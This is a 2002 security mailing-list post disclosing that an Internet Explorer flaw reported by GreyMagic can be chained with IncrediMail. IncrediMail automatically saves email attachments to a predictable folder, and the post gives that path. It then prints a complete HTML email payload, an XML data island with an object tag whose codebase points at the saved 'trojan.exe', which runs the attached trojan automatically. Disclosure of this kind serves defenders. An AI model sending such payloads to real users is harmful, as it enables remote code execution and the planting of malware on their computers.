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MSIE vulnerability exploitable with IncrediMail
From: "Eric Detoisien" <eric.detoisien () global-secure fr>
Date: Fri, 15 Mar 2002 18:33:21 +0100

Hi,

        A Microsoft Internet Explorer vulnerability was found by GreyMagic
(http://security.greymagic.com/adv/gm001-ie/). With IncrediMail, it's
possible to gain a remote access on a computer.

        Incredimail save automatically email attachements in this directory 
(on Windows 2000 Professionnal) :
C:\Program Files\IncrediMail\Data\Identities\{42D00B20-479C-11d4-9706-00105A40931C}\Message Store\Attachments

        So if you send an html email with the GreyMagic vulnerability and a 
trojan in attachments, it will be save in this directory. 

The html mail contains this code :

 <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
    <security>
        <exploit>
            <![CDATA[
            <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:/Program 
Files/IncrediMail/Data/Identities/{42D00B20-479C-11d4-9706-00105A40931C}/Message Store/Attachments/trojan.exe"></object>
            ]]>
        </exploit>
    </security>
</xml>  

        So, the trojan is executed automatically.


Eric DETOISIEN
Consultant Sécurité
GLOBAL SECURE
Tel. : 01-44-70-48-02
Fax. : 01-44-70-48-49 
Web  : http://www.global-secure.fr


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